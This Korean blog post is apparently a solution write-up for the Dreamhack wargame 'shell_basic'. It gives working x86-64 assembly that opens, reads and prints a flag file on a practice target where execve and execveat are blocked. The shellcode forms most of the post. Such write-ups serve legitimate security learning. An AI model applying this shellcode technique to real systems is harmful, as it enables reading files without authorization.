본문 바로가기

카테고리 없음

[드림핵] shell_basic 문제 풀이

1. 문제

https://dreamhack.io/wargame/challenges/410

 

shell_basic

Description 입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다. main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는

dreamhack.io

 

2. 풀이

1) execve, execveat 시스템 콜을 사용하지 못하도록 해야한다 
-> orw 코드를 작성하여 문제 풀이 !!

 

2) /home/shell_basic/flag_name_is_loooooong를 16진수로 바꾸는 과정 필요
->

2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67

 

3) 이것을 스택에 PUSH 해보자

push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp	
xor rsi, rsi	
xor rdx, rdx	
mov rax, 0x2		
syscall

 

4) read(fd, buf, 0x1000)

mov rdi, rax		
mov rsi, rsp		
sub rsi, 0x1000		
mov rdx, 0x1000		
mov rax, 0x0	
syscall

 

5) write(1, buf, 0x1000)

mov rdi, 1		
mov rax, 0x1	
syscall